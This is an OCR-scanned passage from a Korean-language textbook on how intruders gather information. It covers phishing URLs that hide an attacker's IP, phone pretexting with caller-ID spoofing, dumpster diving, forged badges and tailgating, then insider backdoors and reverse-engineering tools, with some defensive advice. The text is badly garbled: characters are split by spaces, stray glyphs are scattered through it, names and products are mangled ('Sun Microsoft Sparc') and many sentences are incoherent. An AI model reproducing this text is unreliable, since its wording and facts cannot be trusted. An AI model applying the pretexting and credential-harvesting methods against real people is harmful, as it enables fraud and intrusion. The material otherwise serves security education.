URL 이 다. 이 공격에서 상업적표식 @앞에 있는 모든것은 열람기 에 의해 무시된다. 표 
식 8 의 오른쪽에 놓이는 계렬번호들은 IP 주소의 혼란부분이다. 이것은 이러한 음모를 
가지고 피해 자에게 들어 가는 가입등록과 통과암호정보를 수집하게 하는 적측체계의 IP 
주소이 다. 이 와 갈은 방법 의 공격 은 AOL 사용자들을 반대 하는 많은 여 러 단체 들에 의하 
여 수차에 걸쳐 성과적으로 수행되였다. 

엄밀히 사회공학적공격 에서 노는 다음과 같은 전자우편의 역 할은 체신봉사우편이다. 
전화와 달리 《느린 우편》은 덫과 흔적을 가지고 도청하거나 추적할수 없다. 그러나 느 
린 우편도 전달될수 있고 쉽게 리용될수 있다. 상금을 건 내기라는 가면을 쓰고 큰 집단 
의 사람들에게 우편을 보내는것은 흔히 목표로 한 표적들에 대한 많은 량의 정보를 얻기 
위한 한가지 방법 이 다. 돈을 내 고 빌 려 쓰는 우편함의 리 용률이 높아 지 고 고급탁상인쇄 
쏘프트웨어들이 급격 히 늘어 남에 따라 해커 는 간단하면서도 그럴듯한 그리 고 마치도 합 
법적인것으로 보이는 론쟁거리들을 한장의 종이장우에서 조작해 내기가 훨씬 쉬워 졌다. 
공격에서 모은 모든 자료들은 전화로 하는 사회공학적공격들에서 후에 계속 리용될수 있다. 
그러나 사회공학적공격들은 단순히 전자우편과 느린 우편에만 국한되지 않는다. 또한 수 
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많은《지급우편통신원 (instant messenger )》 공격들이 있는데 이 공격에서 공격자는 피 
해 자의 IP 주소를 가지고 그들의 초기 IP 주소를 가리워 놓음으로써 어떤 다른 사람의 신분 
으로 분장할수 있다. 이렇게 하여 마치 공개적인 지령과 요구들이 합법적인 사용자로 보 
이는 그 누군가에 의하여 승인된 인물에게 전달된것처럼 할수 있다. 대답하는 사람들은 
오래동안 자기들이 기만 당했다는 생각을 전혀 하지 못한다. 

2) 전화와 문서 

전화의 리용은 일반사회공학적전략에서 많은 부분을 차지한다. 가장 많이 리용하는 
전략들은 식별정보(흔히 《표식 : Mark 》 이라고 한다.)를 가지고 전화하는것과 그 분야의 
기술자 또는 중간급 표현으로서 성난 고급관리자 또는 긴급한 문제를 안고 있는 새로운 
종업 원으로 위 장하는것 이 다. 

사회공학적공격에 포함된 심리와는 달리 전화는 무기명의 일반급을 제공하여 침입자 
(호출자 ID 블로크를 능숙하게 리용할수 있는 사람)가 임의의 직급을 가진 임의의 사람 
으로 위장할수 있게 한다. 배경잡음을 리용하는데 주의를 돌려 계획을 작성하는것은 공 
격 자가 자기의 생각대로 대 방을 유도해 나가는데 도움을 줄수 있다. 

공격 자는 지 어 늙은 사람 또는 상대 방의 성 별 까지 도 분장하는데 음성변 화 (voice 
changer ) 를 리 용할수 있 다. 대 단히 기묘하게 녀성은 훌륭히 완성된 일부 사회 공학적 공 
격임무를 맡아 한다. 많은 사람들은 그가 녀 자호출자라는것보다 많은 의심을 가지고 있 
는 허락되지 않은 남자호출자라고 여기고 있다. 성별을 구별하여 이야기할때 사회적으로 
녀성이 보다 순진하다고 평가하고 있다. 그러므로 사람들은 녀성들이 보통 쉽게 침입자 
들에 게 정 보를 넘 겨 주는 시 점 에서 까지도 그들에게 는 기술이 부족하다고 리 해하려 고 한 
다. 돌이켜 보면 해커기술을 가진 AOL 과 갈은 거물들도 녀자음성의 음모에 걸려 드는 
데서는 례외로 되지 않았다. 1998년 5월 한 녀성이 AOL 의 공보부서를 호출하고 자기는 
트렌트 레즈노 (Trent Reznor ) 의 안해 라고 하면서 자기요구를 제 기 하였다. AOL 은 그 
녀성의 신분에 대하여 구체적으로 알아 보지도 않고 레즈노의 돈자리통과암호를 알려 주 
었는데 그 녀성은 이렇게 되여 레즈노의 신용카드번호를 도용하여 리용할수 있었다. 

선진적 인 사회공학의 전략은 전화체계해 킹 (프레킹)을 제 기 하고 있으며 그에 의 하여 
해커는 그자신의 전화로 인정된 전화번호를 가지고 예정된 정방향호출을 할수 있다. 

이 전략은 호출자를 보증하는메 리용되는 일부 사무일들을 감시 하는 callback 를 깨 뜨리 
는데 일반적으로 리용할수 있다. 공격 자는 그자신의 전화에 대한 호출자 ID 를 가지고 
리 용할수 있 으며 따라서 전화는 기 대하는 어 떤 표시 가 일 치하면 응답할수 있 다. 

숙련된 공격자는 손해를 보지 않는다고 생각하면서 이 표식에서 중요한 정보수집에 
많은 시 간을 소비 할것 이 다. 그는 연소시키 려는 돈과 함께 잠재적주문자로 위장하여 거 래 
상업자와 첫 초기접촉에서 이것을 넘겨 준다. 판매업자는 잠재적의뢰기가 볼수 있는 모 
든 정보를 없애 버리는것을 즐기며 지어 조작중심의 내부조직형식을 정의하는 요점까지 
도 없애 버리 려고 한다. 판매대표들은 하부조직을 거 치지 않고 교제하는 사람들의 이름 
과 번호를 주는 폭 넓은 인쇄물까지도 제공할수 있다. 

이것들은 사회공학적공격을 수행할 때 이름떨구기 (name dropping ) 의 형식으로 공 
격자에 의해 쉽게 리용될수 있다. 

만일 조직 이 공격 자가 정 찰자료를 얻 을수 있는 제 품이 나 봉사들을 직 접 판매하는데 
나타나지 않는다면 공격 자는 언제 나《급강하여 지우기 : dumpster diving 》 의 참신한 
( tried - and - true ) 전통적 수법 에 착수할것 이 다. 이 근처 에 서 공격 자는 교재 휴지 통을 찾 
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으며 찌꺼기를 청소하기전에 날자를 리용하여 그 항목들을 소탕한다. 많은 교재자들이 
실지 문서마디를 득같이 하는것이 아니므로 공격자는 자기의 계획을 실현하는데 리익이 
되는 수많은 정보를 솜씨 있게 찾을수 있을것이다. 그 어떤 조직도표로부터 내부전화목 
록(그 대부분은 종업원들의 접촉정보이 다)，내부규정，현재 대상과제 리정표를 이 방법 으 
로 얻을수 있다. 이 정보를 가지고 무장한 공격자는 자기가 접촉하는 임의의 개별적사람 
이 자기를 회사의 성원이라고 생각하게 하는것과 비슷한 방법으로 정보를 참조하게 할수 
있다. 결국 종업원외에 누가 그처럼 섬세하게 회사를 잘 알수 있겠는가? 

결국 인증되지 않은 방문자를 찾아 낼것 이며 그것을 끝장 낼수 있을것 이 라고 생각할 
수 있다. 그러나 현실은 결코 그렇지 않다. 주위에서 맴돌고 있는 보다 능력 있는 침입자 
는 그와 아주 비 슷할것 이 며 찾기 가 쉽 지 않을것 이 다. 이 러 한 사실 로서 재 미 나는 실 례 는 
종합촬영 장 (Universal Studios ) 에서 의 스리본 스필 버 그 (Stiven Spielbergs ) 의 초기 경 력 
이다. 1969년에 단과대학을 마치고 스필버그는 종합련합체에 들어 가 사무일자리를 찾을 
때까지 떠돌아 다니였다. 빈 자리를 찾은 다음 그는 작업장을 꾸리고 여기에 소속되여 
활동을 시작하였다. 종합체에는 경쟁대상이 하나가 아니라 여럿이 있었다. 그후 그는 인 
차 종합촬영장에서 자그마한 단편영화를 만들었다. 그들이 말하듯이 남은것은 력사이다. 

사회적공학의 이러한 양상으로부터 수집한 정보를 가지면 다른 사람도 체계리용에서 
가장 최 악의 예 상치 못한 변화에 대 처할수 있 다. 만일 인터 네 트상에 서 움직 이 는 봉사기 
들이 갑자기 변하면 자기의 세련된 접촉으로 쉽게 호출할수 있으며 (지어 그들의 접촉까 
지도) 즉시 무엇이 변화되였고 누가 변화시컸는가를 알수 있다. 

그는 다음번에 회 사 《all hand 》 와 면담할 때 결정됨 으로써 자기 가 공격 하는 시 간 
에 (또는 회사의 보안이 휴식상태에 있을 때) 얻을수 있는 정보를 리용하게 할수 있다. 
사실 외부사람은 진짜 외부사람이 아니 라 개발자가 아닌 내부사람으로써 자기의 목적에 
맞는 정보를 리용할수 있다. 

3) 신임장 

비록 원격사회공학에 의하여 회사에 많은 손상을 줄수 있지만 때때로 정보는 철면피 
한 접근을 통해서도 얻을수 있다. 이러한 경우 공격은 전문작업으로 수수께끼 같은 경계 
를 완전해제하는 능력을 가진 사기적인 책략가의 실천에 의하여 진행되였다. 

이것은 그의 물리적현상은 실제적으로 이루어 지는 해커세력권안에서만 있는 일이다. 

이 러 한 공격 방식 에 서 침 입 자는 일 반 종업 원의 허 울을 쓰고《 토착민 : go native > 행 
세를 할수 있다. 물리적접근을 이룩하기 위한 통로들은 위조 ID 카드(회사 ID 카드나 허위 
적 인 《림시직원》대리 ID 또는 사무카드)토서 크게 도전하지 않고서도 편리한 탁상체계 
와 도형 편집 기 를 가지 고 쉽 게 차지 할수 있 다. 방문객 ( visitor ) 으로 불리 우는 광고자 
( sticker ) 의 간단한 리용도 때로는 필요하다. 비록 신임장이 겸손하게 보이기 위하여 위 
조되 였 다하더 라도 신 임 장들은 다음의 것 을 의 미한다. 즉 공격 자는 자기 가 소속되 여 있는 
곳에서 활동하기때문에 단독으로 선정되였다. 때때로 아주 솜씨 있는 내부사람에게 접근 
하여 정확히 인증된 사람만을《등에 업고나르기 : piggybacking 》 하는것에 의하여 목적 
을 달성할수도 있다. 이때 사회적공학자는 구축하는 방향으로 나가면서 종업원과 토의하 
여 조금씩 타격할수 있다. 여기 에서 사회공학자는 구축하는 방향으로 나가면서 다른 종 
업원과 토의하여 공격할것이다. 그들이 열쇠가 잠그어 진 문에 도착하였을 때 사회적공 
학자는 그의 웃옷주머니를 뒤지여 열쇠나 열쇠카드를 찾을것이다. 

이와 같은 경우에 대부분 누구든지 다른 지원을 받지 않고 거기에 열쇠를 사용할것이다. 
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신경질이 많은 주제 넘은 일부 사람들이 진행하는것과 달리 사회공학자는 믿음직하게 
신용을 가지고 전제조건들을 신청할것이다. 즉 그가 어디에 소속되여 있는가를 사실 그 
대로 요구한다. 그는 겸손한 방법으로 돌아 다닐수 있고 간접적으로 인정되는 다른 사람 
들은 그를 홀로 통과시킬수 있으며 또 임의의 사람과 섞이여 그들의 일감에 간단히 끼여 
들수 있다. 그사이 그는 자기에 대하여 주의를 돌리지 않는다는것을 알고 자기의 목적대 
로 도움이 될수 있는 토막정보의 주위에 숨어 있을것이다. 기본체계가 언제나 큰 거울 
뒤면에 진렬된것처럼 배치되여 있게 하는것은 일반적으로 아주 쉽다. 

망안에서 실행하는 체 계의 OS 는 주의 를 돌리 지 못한 감시 자들에 의하여 힘 들게 밝 
혀 질것이며 그리 하여 사용자대면부와 OS 판본번호까지 현시될것이다. 콤퓨터공간에서 
Sun Microsoft Sparc 하드웨 어 의 존재 는 Solaris 나 RedHat Linux 로 내 려 가는 OS 능력 
을 제 한하고 있다. 개 발자들의 사무를 지도하는데서《놀이감펭긴새 : toy penguins 》 는 
Linux 가 널리 리용되고 있다는 충분한 근거 이 다. 많은 Post - It 를 발견하기 위하여 도서 
실을 다니면서 열람할 때 사용자의 현재 가입등록과 통과암호들을 밝혀내는 감시자가 아 
주 가까이 에 있다는데 주의를 돌려야 한다. 물론 아무것도 만들어 지지는 않았다. 그러 
나 이것은 그들의 존재를 루설할것이다. 무엇이든지 침묵을 지키다가 그가 그곳을 떠난 
투에 즉시 중분히 등록할것이다. 

일단 싸이트를 닫으면 ( off - site ) 침입자는 직원에 대한 장거리전화관련사회공학적공 
격의 도움으로 자기에게 위치지도를 솜씨 있게 끌어 낼것이다. 설명들은 바닥층의 매 부 
분과 매우 긴밀하게 관련되 여 있을것 이 다. 주의는 다른 종업원들의 칸에서 우습게 빼앗 
아낸 Dilbert 급과 같은 표면상으로 그리 중요지 않는 항목들에까지 다 소속되여 있을것 
이다. 싸이트의 물리적조건에 대한 충분한 지식을 가짐으로써 많은 사람들은 감각으로 
합법적으로 제공된 개별적인 사람과 함께 사이 좋게 말한다는것을 느끼고 있으며 즉시 
합법적인 부분을 요구할수 있고 정보와 접근을 충분히 제공할수 있다. 침입자는 자기의 
명령을 잘 받는 사람을 엄은후 열쇠가 없이 소문난 분야에 대한 몇개의 전화호출만을 요 
구한다. 


제 4 절. 고의적인 뒤문공격 


1999년에 어 느 나라의 국가하부구조보호쎈터 National Infrastructure Protection 
Center ( NIP 必)의 보고서 《불만을 가진 부원이 를퓨터범죄의 기본 근원이다.》에서 
추산한데 의하면 사람들이 매해 도적질 또는 민감한 자료의 악용으로 수십억딸라의 손실 
을 입었다고 한다. 구체적인 계산에 의하면 이 손실의 약 70%가 모두 이미 알고 있는 사 
람들에 의하여 일어 났다. 다시 말하여 다름아닌 해 당 종업 원들이 위 험의 근원이 였 다. 
발생한 이 러한 종류의 손실에 대처한 가장 믿음직한 제거방법의 하나는 등록기지에서 삭 
제하는 방법에 관한 비밀지령이나《뒤문》이라는 다른 방법으로 인증하게 하는 지령을 
리 용하는것 이 다. 

뒤문암호의 믿음직한 a 드화 

여기서 최대의 문제는 누가 자기의 벗으로 되고 누가 자기의 적인가 하는것을 식별 
하는데 있다. 하나는 불만을 품은 종업원을 찾아 내는것 이고 다른 하나는 그러한 싹을 
가진 근원을 찾아 내는것이다. 즉 어느 때，어디서，어떻게 가장 적은 노력으로 최대로 
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큰 손해를 일으킬수 있는 방법이 침습하였는가를 알아 내야 한다. 타격을 완성하기 위한 
하나의 고속화방법은 제품코드안에 뒤문의 도입을 받아 들이는것이다. 그것들의 순수한 
화신으로서 뒤문은 그에 의하여 임의의 프로그람과 지령들이 표준인증이나 권한이 없이 
합법적인 쏘프트웨 어를 통하여 실행할수도 있다는 의미이다. 계산하는 기간에 뒤문은 관 
리자들과 쌍을 이루는 개발자들이 자기홈을 떠나지 않고 주어 진 체계의 열쇠요소들에 
접근할수 있다는것을 아주 쉽게 측정한다. 그들은 국부망을 다이 얄로 호출할수 있으며 
어떠한 련속되는 쏘프트웨 어을 가지고 작업을 진행한다. 모든 단순한 결과들과 비슷하게 
그것은 어떤 나쁜 사람이 그것을 기능적으로 갱신하기전에 시간문제로만 되며 많은 사람 
들이 봉사를 위하여 뒤문을 설계하는것을 반대하여 돌려 진다. 결론적으로 뒤문은 원격 
관리의 합법적의미를 더는 고려하지 않는다. 

보다 불행한것은 그들자체가 리득을 보겠는가, 아니면 회사에 손상을 주겠는가 또는 
두가지를 다 하겠는가에 따라 코드를 변경시키려는 위치와 방안을 가지고 오랜 시간 해 
를 주는 개 발자에 의 하여 쏘프트웨 어꾸레미 안에 같은 코드가 서술될 때 이 다. 이 러 한것은 
보안검열의 경우에 독립적인 고문으로서 어느 한 저술자에 의하여 엄격히 검토된다. 
단계 는 형 식적 으로 충분한것 갈다. 기 본프로그람작성 자는 불리 한 항목우에서 는 교재를 
그만 둔다. 불의적인 전체 사무코드토대의 완전성이 문제로 제기된다. 

초기조사는 개발자가 작성한 련속되는 프로그람에서 전체 문서에 부족점 이 있다는 
것을 보여 주었다. 보다 엄중한것은 련속되는 프로그람의 개별적부분들이 다른것과 어 
떻게 통신하는가를 상세히 보여 주는 처리해석도가 없는것이다. 덧붙여 말하여 여기에 
는 자료를 서술하는 모든 방법들과 실행이 어떻게 조정되는가를 결정할수 있는 자료흐 
름도가 블로크안에 놓여 있지 않다. 마치 무엇인가 모자라는것처럼 교정체계가 제자리 
에 없는것이다. 

여기에는 임의의 마지막순간에 코드기호에 대한 변화가 있다면 그것이 사실상 합법 
적인가 그렇지 않은가를 결정하는 방법이 없다. 공격이 손해를 계속 주려면 주프로그람 
작성자는 불리한 항목우에서 떨어 져 나와야 할뿐아니라 전체 정보기술항목을 가져야 한 
다. 이것들은 Perl 스크립트와 C 원천코드의 20000행 이상의 검사를 시작한다. 시간이 지 
나면 전체 처 리도식 ( diagram ) 은 형태를 갖추기 시작한다. 

그러 므로 아직 까지 알지 못하는 두 측면을 산출한 체 계안에 서 발견되 는 매 개 측면을 
본다. 행별검사는 옳바로 검사된 여러개의 특이한 함수만을 제공한다. 기본함수는 통과 
된것이다. 제기된 뒤문의 모든 위험에 대한 실제적인 보안을 할당하기 위하여 완전한 처 
리 검 사는 반드시 수행하여 야 할것 이 다. 

전체적인 처리흐름을 정밀하게 기록하고 처리의 매 걸음에 대한 보안을 평가하는것 
과 관련한 비용에 대해 말한다면 주문자는 처음부터 방해 한다. 비록 그것들의 걱정은(그 
리고《예리 한 충격: sticker shock 》) 폭 넓은 검사 같은것에 대하여 말한다면 리해 할 
수 있지만 그것들의 코드토대는 그것이 없이 보안한다고 믿을수 없다. 

그들의 신용을 얻으러면 그것들이 허락된 대상과제이여야 한다. 

많은 교재 들은 행 과 행 사이 ( line - by - line ) 혜 택 ( blessing ) 이 충분한 보안을 담보한 
다는 가짜 믿음을 대신하는 걸음을 만들지 못한다. 순차적 인 걸음실행에 의존하는 탐색 
은 운이 좋을수도 있고 나쁠수도 있다. 해롭지 않은 자료기지호출안에 숨어서 코드묶음 
안에 깊 이 매 몰시 키 는것 은 존재 하지 않는 자료기 지 표에 서 자료모임 을 위한 요구이 다. 

그것은 자체로 사람의 요구에 기 인할수 있지만 다음과 같이 돌려 주는것은 오유를 
발생하지 않는다. 즉 그것을 지나치게 구체화하지 않는것 이 다. 사실상 그것은 자료기지 
관리자로써 체계에 직접 등록된다. 즉 아무때 나 체계안에 든든하게 코드화되고 등록 ID 
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와 열쇠단어를 보존한다. 판명된바와 같이 뒤문은 처리안에서 지적된 오유가 지적된 위 
치 에 서 구체 적 방법 을 발생 하도록 요구하는 예 견치 못했 던 오유조종순서 안의 처 리 에 있 다. 

우리는 이 뒤문이 서술되였다는것을 결코 알지 못한다. 즉 우리는 주프로그람작성자 
가 이 뒤문을 서술하였다는것을 결코 알수 없으며 프로그람작성자가 범죄적목적으로 그 
것을 리용하였다면 더군다나 알수 없다. 그러므로 우리는 전체 코드모임 이 완전처 리에 
기초하여 조사되지 않는다면 이 뒤문은 값 비싼 청소를 하지 않고서는 맨 마지막까지 쉽 
게 발견되지 않는다는것을 안다. 

이러한 상태로부터 엄어 진 결론은 단순하고 명백하며 중복과 갈은것을 막아 버리는 
데 쉽게 리용할수 있다. 

• 언제 든지 리 용가능한 쏘프트웨 어 개 발문서 

• 쏘프트웨어상호통신지원을 포함하는 현재와 면밀한 처리도식을 유지 

• 받아 들이거나 내보내는 자료를 관리하게 하는 방법을 결정할수 있는 실례 
cradle-to-grave 자료흐름도를 창조하고 유지 

• 수정조종하에서 모든 쏘프트를 배 치 


제 5 절. 코드나 프로그람작성환경에 고유한 약점의 리용 


많은 야심가들이 그러하듯이 여기에도 대부분의 사람들보다 더 큰 야심을 가지고 자 
기의 목적을 달성하려는 사람들이 있다. 이러한 시점에서 볼 때 잘 숙련된 침입자는 흔 
치 않다. 사용자의 싸이트에 대한 정보를 리용하려는 일반채용이나 다른 사람들을 속여 
넘기기를 적 발하는것으로써 파괴 가능한 봉사들을 극복하는것은 간단하지 않으며 이 러한 
침입자는 사용자측의 사람들이 힘들게 창조하여 시장에 가져 온 자료와 응용프로그람을 
세밀히 분석할것이다. 

이러한 접근을 통하여 사용자의 집에 있는 자료기지와 쏘프트웨 어들의 복사품들이 
침입자의 홈체계에 내리적재되여 그들이 한가한 시간에 그것을 정독할수 있을것이다. 

대부분의 침 입 자들은 당신의 망우에서 당신의 자료를 분석 하려고 시도하지 않을것 이 
다. 때문에 공격 받을 가능성이 보다 커질것이다. 이것들은《먼저 만들고 마지막에 응 
답하라.》의 방법이다. 

아직도 몇가지 큰 사무들은 계품과 개발봉사들사이에 분리된 체계로 남아 있으며 이 
것을 노리는 어떤 침입 자는 회사의 가장 민감한 자료에 접근하려고 대기한다. 비록 이 
싸이 트들이 제품과 개 발체계 가 분리되 여 있는것 이 우려되지 만 제품체 계와 개 발체계 사이 
에는 절대적인 믿음관계가 늘 확립되여 있다. 이것은 회사의 민감한 자료에 접근하려는 
침입자의 경로에서 고속충돌을 야기시키는 모든 분기를 표현한다. 

더우기 일부 회사들은 민감한 자료와 개발체계의 위치를 숨기는데 많은 노력을 들일 
것 이 다 . 결 과 침 입 자 는《 제 품 원 천 코 드 : Product_x_source_code ) ,《 자 료 흐 름 
도: dataflow-diagram 》，또는 《CC_D: 신용카드자료기고I》를 읽으러는 체계에 파일이 
나 홀다가 존재할 때 결코 멀 리 있는것은 아니 다. 본질적 으로는 일 반적 인 종업 원들의 일 
감에 대 한 일부 편리성 이 침 입 자들에게 자기의 자료를 발견하고 분석할수 있는 보다 많 
은 기회를 주고 있다. 
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침 입자는 가장 민감한 정보를 복사한후 사람들의 제품과 자료흐름에 대한 모든 분석 
들과 수집물을 서고에서 충분하게 얻을수 있다. 


제 6 절. 판매되고 있는 도구 


해킹공동체는 자료를 해방시킬수 있는 원리들을 공유하고 있다. 그 어떤 경험이 없 
이는 어느 정도는 반드시 해방시키지 못하는데 자기에게 필요한것으로 바꾸어 그것을 통 
하여 한번 들여다 볼수 있는 기회에 해방할수 있다. 일정한 도구들과 편의프로그람들은 
실제로 경제적해커에 대한 블로크를 더듬어 나가지 않고 2진형식으로 분리한다. 주어 진 
프로그람의 상세한것들을 뽑아 내는데 도움이 되는 여러 도구들을 리용할수 있으며 따라 
서 잠재 적취 약성 들을 분석할수 있 다. 

1. 16진편집기 

16진편집 기 (hex editor ) 는 2진파일의 내 용을 보거 나 편집 하는데 리 용할수 있는 프 
로그람이다. 이 편의프로그람들을 가지고 읽기허가를 받는 실행가능한 파일이나 자원2진 
파일을 모두 꺼내 볼수 있다. Windows 의 경우에 16진편집기는 일부 경우 이러한 파일 
들을 재쓰기할수 있다. 어떤 프로그람기능이 있는가를 잘 알고 코드토대를 원상대로 복 
구하지 못하게 하는 과제들을 수행하기 위하여 코드의 열쇠토막을 재쓰기할수 있다. 이 
재 쓰기 들은 단일기 능으로 제 한되 기때 문에 목표프로그람을 대 량적 으로 재 구조화하는데서 
잘 쓰이지 않는다. 이 도구는 정밀한 함수안에서 문자를 틀리게 서술하므로 프로그람을 
완전히 못 쓰게 만들려는 공격자들이 일반적으로 리용한다. 이것은 또한 모든 비문서화 
된 지령들, 실행기발들을 보여 주는 2진파일을 주사하는데 리용할수 있으며 또 개발자가 
뒤 문을 오유수정 목적 으로 삽입할수도 있다. 그림 5-3 에서 실례 를 보여 주고 있다. 



그림 5-3. 개 인 acorn 2진파일보기 giggle 뒤 문 가입 등록을 표현하기 
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그림 5-3 에서 보여 준 실례에서 acorn 이름을 가지고 호출된 자그마한 C 프로그람은 
콤파일 되 고 뒤 문은 공격 자가 ID 등록을 위하여 간단히 giggle 을 돌려 준것 을 포함하고 
있다. 이것은 그가 정확한 사용자 ID 를 등록할수 있게 하여 준다. 

보다 더 대표적 인 16진편집기들은 MS - DOS , Windows , UNIX 계렬의 자유제품과 
공유제품이 있을수 있다. 모든 16진편집기들은 본질적으로 그림 5-3 에서 보여 준 일반방 
법 으로서 의 기 능을 가지 고 화면의 넓 은 면에 현시 된 자료의 ASCII 값을 현시하는 작은 
토막으로 넘어 가는 2진파일의 16진값들을 보여 주고 있다. 다음의 싸이트에서 대표적인 
16진편집기들의 포괄적 인 목록을 표준적으로 찾을수 있다. 

• h 竹 p : / / gar bo . uwasa . fi / pc / binedit . html 

• www . unixapps . com /? page = category & category=edit 

16 진편집 기 는 주어 진 2진파일 의 정 적 부분들을 보여 줄뿐이 며 2진정찰과는 별 도로 
렬거된 값이다. 주어 진 2진파일을 가지고 무엇을 할수 있는가를 더 깊이 평가하려면 오 
유수정프로그람이 보다 합리적이여야 한다. 

2. 오유수정프로그람 

오유수정 프로그람 ( Debugger ) 은 사용자가 주어 진 프로그람의 실 행탄창의 실 행 상태 
를 알수 있게 한다. 16진편집기는 프로그람이 어떻게 동작할수 있는가를 정적으로 보여 
줄수 있으며 오유수정프로그람은 프로그람이 어떻게 동작하는가를 보여 줄수 있다. 

프로그람의 실행탄창은 프레 임 의 련속으로 이 루어 진다. 탄창프레 임 은 실행 하는 쏘 
프트웨어 의 부분이 나 그 쏘프트웨어와 관련된 자료가운데서 어 느 하나를 서술할수 있으 
며 이것들은 다 기억기의 블로크안에 함축되여 있거나 프로그람실행시 탄창에 배치된다. 
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그림 5-4. 오유수정프로그람을 리용하여 NAI 의 PGP 기능화의 보기 

이 프레임들은 일반사용자들로서는 표준적으로 이끌어 낼수 없으며 호출된 여러 함 
수들에 포함된 인수들과 갈은 정보를 표준적 으로 유지한다. 규칙적으로 탄창의 맨 우에 
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는 가장 최근에 창조된 프레임들이 포함되고 있으며 탄창의 맨 아래에는 가장 오랜 프레 
임들이 포함되여 있다. 

일부는 함수이름의 론리값들과 갈은 그것들의 인수로 할당된 이름과 값들을 찾는데 
프레임호출을 실행시킬수 있다. 일반적인 실례로서 그림 5-4 는 Network Associates 회 
사의 Preetty Good Privacy ( PGP ) 판본이 다. 

이것은 프로그람실행시 탄창에 무엇이 있는가를 볼수 있게 하는 많은 자료에 대한 
내용을 주는 대표적 인 오유수정프로그람과 함께 그 탄창의 내용을 보여 주고 있다. 대부 
분의 오유수정 프로그람에 는 탄창프레 임 을 실 행하는 지 령 들과 탄창경 계 를 주는 지 령 들이 
있다. 이것으로 탄창안에 들어 있는 모든 완충기들에 사용자입구가 얼마나 있는가를 결 
정 할수 있다. 그리고 그 어떤 완충기든지 고유한 검사경계를 가지며 우에서 말한 완충기 
들이 모두 동일한 검사경계를 가지지 않는다면 오유수정프로그람을 통하여 진행하는 검 
색은 완충기넘침이 봉사우에서의 공격으로 설계되거나 리용될수 있게 하는 령역작업으로 
사용될수도 있다. 

오유수정프로그람은 다른 보안인식프로그람들로 하여 금 자료가 불안정 하더 라도 함수 
가 보안되는가를 밝히도록 하는데 리용할수 있다. 

3. 역아쎔블리 

역 아쌤 블러 ( Disassembler ) 는 실 행 가능한 프로그람을 동등한 아쌤 블리 어 로 변환하는 
처리이다. 역아쌤블러를 리용함으로써 코드토막이행과 호출의 기능들을 보다 면밀하게 
분석할수 있 다. 이 분석 을 통하여 주어 진 2진프로그람의 내 부를 더 잘 리 해할수 있 다. 

1) Windows 관련도구 

Windows 관련 역 아쌤 블러들의 일부 형들은 Web 를 통하여 실행가능하며 그속에서 
가장 대 중적 인 것 이 QuickView ( www . enlight . ru / qview / main . htm ) 와 URSoftware 
( www . expage . com / paRe / w 32 dasm /) 에 의 한 Win 32 역 아쌤블러 가 속한다. 이 역 아쌤 
블리어 는 론의 되 고 있는 역 아쌤 블된 많은 프로그람들의 모양을 고속으로 결정 할수 있는 
이미 나온 도형사용자대면부를 제공한다. 

Win 32 역아쎔블러 

간단히 말해서 역 아쌤블러는 COM , DLL , DRV , OCX , MPD , SYS , VBX 와 같은 
프로그람을 역아쌤블파일로 만들거나 그것들을 아쌤블리어 원천(기계 코드) 으로 변환할수 
있 다. 역 아쌤 블러 를 리 용하여 프로그람처 리 를 적재할수 있 으며 그것 들의 동작을 추적할 
수 있다. 그림 5-5 에 그것들의 대면부를 보여 주고 있다. 

즉 열람기는 역아쨈블된 파일을 요구되는 임의의 코드위치에 이행시킬수 있다. 다시 
말하여 고속으로 탐색하여 역 아쎔 블된 출구안에 본문을 놓는다. 즉 삽입，삭제 , 이 동과 
호출을 실행한다. 선택된 함수를 받아 들이거나 내보낸다. 주어 진 코드토막의 16진값을 
현시한다. 프로그람의 대화창，참조, 기호의 목록을 현시한다. ASCII 형식에서 역아쌤블 
된 출구는 보관한다. 
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그림 5정. Win 32 역 아쌤 블러 와의 대 면부 

복잡하게 뒤엉킨 역아쌤불러를 잘 리해하도록 하기 위하여 비전문가들이 2진역아쌤 
블러의 입구와 출구들을 빨리 학습할수 있게 하는 성능이 좋은 포괄적인 개별지도와 직 
관도구들이 나오고 있다. 

2) 빨리 보기 

그림 5-6 에 서 보여 준 빨리 보기 ( QuickView ) 는 Win 32 역 아쌤 블러 와 대부분 같은 
형태로 조작하며 사용자는 어떤 DLL 들이 프로그람자체의 실제적인 실행이 없이 프로그 
탐으로부터 호출되 는가를 결정할수 있 다. 
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그림 5-6. 빨리보기와의 대면부 























Win 32 역 아쌤블러처 럼 특성 이 풍부하지 못하지만 빨리보기는 매우 다방면적 이고 치， 
밀 하다. 

빨리 보기 는 또한 MS-DOS 환경 에 서 단독으로 동작할수 있 다(정 의 는 뒤 따르는 지 령^ 
선에 의하여 결정된다). 

비도형사용자대면부는 또한 제한된 자원을 가지고 낡은 하드웨어가동환경에서 역아卜 
쌤 블을 수행할 때 실제 적 으로 리 용한다. 




3) DOS 관련도구 


DOS 형 식의 역 아쌤 블러들이 가능하다면 그 매 개는 Windows 관련도구들과 기능이一 在 


비슷하다. 




• HT ( http : // hte . sourceforge . net ) 

DOS 와 Windows 16/32 bit 형식의 역아쌤블러를 포함하는 2진파일보기 및 편집。 
도구 HT 는 Gnu Public Licenise 우에 서 실 행 할수 있 으며 스째 판 웨 이 어 그라프 
(Stefan Weyergraf ) 와 세 바스찬 비 알라스 ( Sebastian Biallas ) 에 의 하여 제 안^_ 
되였다. 


• Hexcalibur vl .0.2 for DOS ( www . gregpub . com / hexad . html ) 

직접 2 진파일편집은 못하지만 16진수， ASCII , EBCDIC 형식으로 2 진파일을 현ᄂ 
시 할수 있게 하며 디 스크로부터 곧바로 실 행할수 있도록 충분하게 밀집 되 여 있다> 

• Sourcer ( www . y - com . com / product / devsoul . html ) 


華 


DOS 용으로서 갱 신되 여 평 가된 역 아쌤 블러이 다. 이 역 아쌤 블러 는 많은 아쌤 블리 
가운데서 높은 능력을 가지고 있으며 인기가 높다. 


결 론 

이 장에서 보여 준것처럼 잠재적침입자는 이미 알고 있는것을 쉽게 만들지 못하게씨， 
하는 방법 으로 자료획득을 위하여 사용자에 게 접 근할수 있는 합법 적 권리 를 가진다. 스텔 入 ’ 

스주사，단편체계， 망조사를 리용하여 솜씨 있는 침 입 자는 그의 방조밑에 카드를 밀어_ 

넣 으려고 시도함으로써 직접적 인 대규모파괴을 위하여 체계에 들어 갈수 있으며 또한 사니, 

용자의 움직임을 자체로 간단히 조종할수도 있다. 전통적인 및 비전통적인 조사를 리용‘ 

하여 사회적공학은 전자우편，전화，개별적방문에 관해서 숙련된 침입자를 사용자의 모 ' — 

